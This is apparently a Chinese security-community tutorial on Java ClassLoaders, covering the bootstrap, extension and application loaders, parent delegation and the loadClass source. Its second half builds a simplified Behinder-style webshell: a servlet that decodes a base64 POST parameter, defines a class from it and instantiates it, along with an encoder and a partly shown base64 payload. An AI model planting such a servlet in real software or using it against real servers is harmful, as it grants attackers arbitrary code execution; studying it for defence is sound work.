基础知识

Java Classloader是JRE的一部分,动态加载来自系统、网络或其他各种来源Java类到Java虚拟机的内存中。

Java源代码通过Javac编译器编译成类文件,然后JVM来执行类文件中的字节码来执行程序。

这样理解,Classloader就是通过一系列操作,把各种来源的各种格式的数据,以一个正确合适的类解析方式解析,读入内存,让JVM能理解执行

拿XML举例来理解,一个xml可以是系统里的xml、可以是我们自己写的xml文件、可以是HTTP传输的XML数据,只要格式规范,就能被读取

JAVA常见的ClassLoader

BootstrapClassLoader

BootstrapClassLoader是最底层加载器。他没有父加载器,由C语言代码实现,主要负责加载存储在$JAVA_HOME/jre/lib/rt.jar中的核心Java库,包括JVM本身。我们常用内置库java.xxx.* 都在里面,比如 java.util.*、java.io.*、java.nio.*、java.lang.* 等等。这个 ClassLoader 比较特殊,将它称之为「根加载器」。我们来测试一波,在项目里新建一个文件,叫demoClassloader

代码如下:

import java.io.BufferedInputStream;

public class demoClassloader {
    public static void main(String[] args){
        System.out.println("用java.io.BufferedInputStream测试根加载器,结果是:"+ BufferedInputStream.class.getClassLoader());
    }
}

然后配置一个运行环境,这里新建一个Application。输入配置

运行结果符合预期。

ExtensionClassLoader

ExtensionClassLoadersun.misc.Launcher$ExtClassLoader类实现。负责加载 JVM 扩展类,用来加载\jre\lib\ext的类,这些库名通常以 javax 开头,它们的 jar 包位于 $JAVA_HOME/lib/ext/*.jar 中,有很多 jar 包。那我这里叫他拓展加载器。

我们找一个位于的$JAVA_HOME/lib/ext/*.jar类,右键点依赖的copy path看一下物理路径。运气很好,第一个jar包就符合要求

把刚才的代码改一下:

import com.sun.java.accessibility.AccessBridge;

import java.io.BufferedInputStream;

public class demoClassloader {
    public static void main(String[] args){
        System.out.println("用java.io.BufferedInputStream测试根加载器,结果是:"+ BufferedInputStream.class.getClassLoader());
        System.out.println("用AccessBridge测试拓展加载器,结果是:"+ AccessBridge.class.getClassLoader());
    }
}

运行结果符合预期:

AppClassLoader

AppClassLoadersun.misc.Launcher$AppClassLoader实现。是直接面向我们用户的加载器,它会加载 Classpath 环境变量里定义的路径中的 jar 包和目录。我们自己编写的代码以及使用的第三方 jar 包通常都是由它来加载的。那我这里叫他应用加载器。(这里这样来理解,拓展加载器更底层,这些类一般没有实现某一个具体的需求功能。而应用加载器加载的类一般封装的更完整,都实现了具体的功能和需求)。

我们来找一个第三方依赖、以及自己写的代码。很简单,这里我们直接用上节导入的Commons-collection这个测试类自己测试一波,改一下代码:

import com.sun.java.accessibility.AccessBridge;
import org.apache.commons.collections.map.LazyMap;

import java.io.BufferedInputStream;

public class demoClassloader {
    public static void main(String[] args){
        System.out.println("用java.io.BufferedInputStream测试根加载器,结果是:"+ BufferedInputStream.class.getClassLoader());
        System.out.println("用AccessBridge测试拓展加载器,结果是:"+ AccessBridge.class.getClassLoader());
        System.out.println("用commons-collections的Lazymap测试应用加载器,结果是:"+ LazyMap.class.getClassLoader());
        System.out.println("用自己写的demoClassloader测试应用加载器,结果是:"+ demoClassloader.class.getClassLoader());
    }
}

结果都符合预期。

UserDefineClassLoader

UserDefineClassLoader这不是某一个加载器的名称,是一种用户还可以通过继承java.lang.ClassLoader类,来实现自己的类加载器。这里可以参考UDF。

对象的ClassLoader属性

综上,每个 Class 对象里面都有一个 classLoader 属性记录了当前的类是由谁来加载的。所有延迟加载的类都会由初始调用 main 方法的这个 ClassLoader 全全负责,它就是 AppClassLoader。

程序在运行过程中,遇到了一个未知的类,它会选择哪个 ClassLoader 来加载它呢?虚拟机的策略是使用调用者 Class 对象的 ClassLoader 来加载当前未知的类。何为调用者 Class 对象?就是在遇到这个未知的类时,虚拟机肯定正在运行一个方法调用(静态方法或者实例方法)。(至少我们的main方法作为入口)

  • 某个 Class 对象的 classLoader 属性值是 null,那么就表示这个类也是「根加载器」加载的。
  • 某个 Class 对象的 classLoader 属性值是 sun.misc.Launcher$ExtClassLoader,那么就表示这个类也是「拓展加载器」加载的。
  • 某个 Class 对象的 classLoader 属性值是 sun.misc.Launcher$AppClassLoader,那么就表示这个类也是 [应用加载器」加载的。

这就有一个疑问了,我们写的程序一般都是main方法作为入口,那么这个时候我们的加载器就是应用加载器AppClassLoader。可是我们的程序中经常会用的系统库和第三方库啊,这些类不应该由AppClassLoader加载。JVM是怎么解决这个疑问的呢?下面将介绍双亲委派机制

双亲委派机制

简单说一下双亲委派。

  • AppClassLoader 遇到没有加载的系统类库, 必须将库的加载工作交给ExtensionClassLoader

  • ExtensionClassLoader遇到没有加载的系统类库,必须将库的加载工作交给BootstrapClassLoader

这三个ClassLoader之间形成了级联的父子关系,每个ClassLoader都很懒,尽量把工作交给父亲做,父亲干不了了自己才会干。每个ClassLoader对象内部都会有一个parent属性指向它的父加载器。ExtensionClassLoader的 parent 指针画了虚线,这是因为它的 parent 的值是 null,当 parent 字段是 null 时就表示它的父加载器是「根加载器」。同样的,某个 Class 对象的 classLoader 属性值是 null,那么就表示这个类也是「根加载器」加载的。

看看ClassLoader的源码

加载器可以被分为两类,

  • 继承了CLassLoader类的各种加载器,包括ExtensionClassLoader、AppClassLoader、UserDefineClassLoader
  • BootstrapClassLoader (太底层,用C写的,不看)

看一下ClassLoader,核心有三个方法:loadClass、findClass、defineClass,我们跟一下loadClass方法。

loadClass

public Class<?> loadClass(String name) throws ClassNotFoundException {
        return loadClass(name, false);
    }//单参的重载
protected Class<?> loadClass(String name, boolean resolve)
    throws ClassNotFoundException
{
    synchronized (getClassLoadingLock(name)) {
        // First, check if the class has already been loaded
        Class<?> c = findLoadedClass(name);//看一下这个类是否已经加载
        if (c == null) {//如果c为空,没有已经加载
            long t0 = System.nanoTime();
            try {
                if (parent != null) {//判断父加载器是否为空
                    c = parent.loadClass(name, false);//不为空就调用父加载器的loadClass方法
                } else {
                    c = findBootstrapClassOrNull(name);//如果为空,就调用跟加载器
                }
            } catch (ClassNotFoundException e) {
                // ClassNotFoundException thrown if class not found
                // from the non-null parent class loader
            }

            if (c == null) {
                // If still not found, then invoke findClass in order
                // to find the class.//如果没有“成功甩锅”个哦父加载器,就调用findClass方法
                long t1 = System.nanoTime();
                c = findClass(name);//把结果赋值给c变量

                // this is the defining class loader; record the stats
                sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
                sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
                sun.misc.PerfCounter.getFindClasses().increment();
            }
        }
        if (resolve) {
            resolveClass(c);//使用resolve方法解析findClass的结果
        }
        return c;
    }
}

原注释就写的很清楚,加了部分注释。也印证了上面关于双亲委派的内容。

UserDefineClassLoader

在实际情况下,我们不仅仅只希望使用classpath当中指定的类或者jar包进行调用使用,我们希望干任何事情,使用各种类。自定义类加载器步骤:

1、继承ClassLoader类

2、调用defineClass()方法

先停停,看看这个。我TM直接好家伙,我愿意称之为ClassLoader最佳初学demo。为啥?有趣!而且每个web狗应该都接触过。

原文:首先要让服务端有动态地将字节流解析成Class的能力,这是基础。
正常情况下,Java并没有提供直接解析class字节数组的接口。不过classloader内部实现了一个protected的defineClass方法,可以将byte[]直接转换为Class

搞起来。

伪·冰蝎里的ClassLoader

理清一下思路,我们要干嘛?

  • 伪·冰蝎的服务端
    • 写一个UserDefineCLassLoader,他继承CLassLoader
    • 他加载我们通过HTTP请求发过去的类的数据
    • 然后调用我们的类里写的rce方法
  • 伪·冰蝎的客户端
    • 在rce方法里写坏代码,干坏事
    • 生成一个类的数据,发给服务端

写服务端

import sun.misc.BASE64Decoder;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

@WebServlet(name = "democlassLoader")
//这里是注释配置访问servlet
public class demoClassLoaderServlet extends HttpServlet {
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

        String classStr=request.getParameter("key");
        BASE64Decoder code=new BASE64Decoder();
        Class result=new Myloader().get(code.decodeBuffer(classStr));//将base64解码成byte数组,并传入t类的get函数
        try {
            System.out.println(result.newInstance().toString());
        } catch (InstantiationException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        }
    }
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        PrintWriter out = response.getWriter();
        out.write("Hello world from LoaderServlet");
        out.close();
    }

}

class Myloader extends ClassLoader //继承ClassLoader
{
    public  Class get(byte[] b)
    {
        return super.defineClass(b, 0, b.length);
    }
}

改一下web.xml

<servlet>
    <servlet-name>democlassLoader</servlet-name>
    <servlet-class>demoClassLoaderServlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>democlassLoader</servlet-name>
    <url-pattern>/democlassLoader</url-pattern>
  </servlet-mapping>

把运行环境切成tomcat,跑起来。

用GET方法测试一下,保证servlet运行正常

写Payload

这个Payload是抄冰蝎的,我们点一下这个小锤子,生成编译好的class。然后把class文件转成base64的编码,下面是从csdn\掘金抄的代码。

import java.io.File;
import java.io.FileInputStream;
import sun.misc.BASE64Encoder;
public class class2base64 {
    /**
     * <p>将文件转成base64 字符串</p>
     * @param path 文件路径
     * @return
     * @throws Exception
     */
    public static String encodeBase64File(String path) throws Exception {
        File file = new File(path);
        FileInputStream inputFile = new FileInputStream(file);
        byte[] buffer = new byte[(int)file.length()];
        inputFile.read(buffer);
        inputFile.close();
        return new BASE64Encoder().encode(buffer);
    }

    public static void main(String[] args) {
        try {
            String base64Code =encodeBase64File("your path for payload.class");
            System.out.println(base64Code);

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

配一下运行环境,把main函数指定到base64转换这个文件上,点运行。看到output栏已经打印了转换结果。注意,这里有一个+号,这种符号在HTTP请求中,会被专业+号代表空格,后面处理HTTP请求的适合要注意做一次URL编码

测试

把运行环境切到tomcat,启动。

访问以下项目路径,抓个包,切成POST请求。

在POST的body加上,注意把+url编码一下,就是%2b。

key=yv66vgAAADMAKQoACQAZCgAaABsIABwKABoAHQcAHgoABQAfCAAgBwAhBwAiAQAGPGluaXQ%2bAQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABhMZGVtb0NsYXNzTG9hZGVyUGF5bG9hZDsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAB4BAApTb3

鸡冻人心的时候到了,点一下send。看看发生什么。

成功执行。

致谢

感谢phithon、rebeyond、小阳(不分先后)

点击收藏 | 2 关注 | 2
  • 动动手指,沙发就是你的了!
登录 后跟帖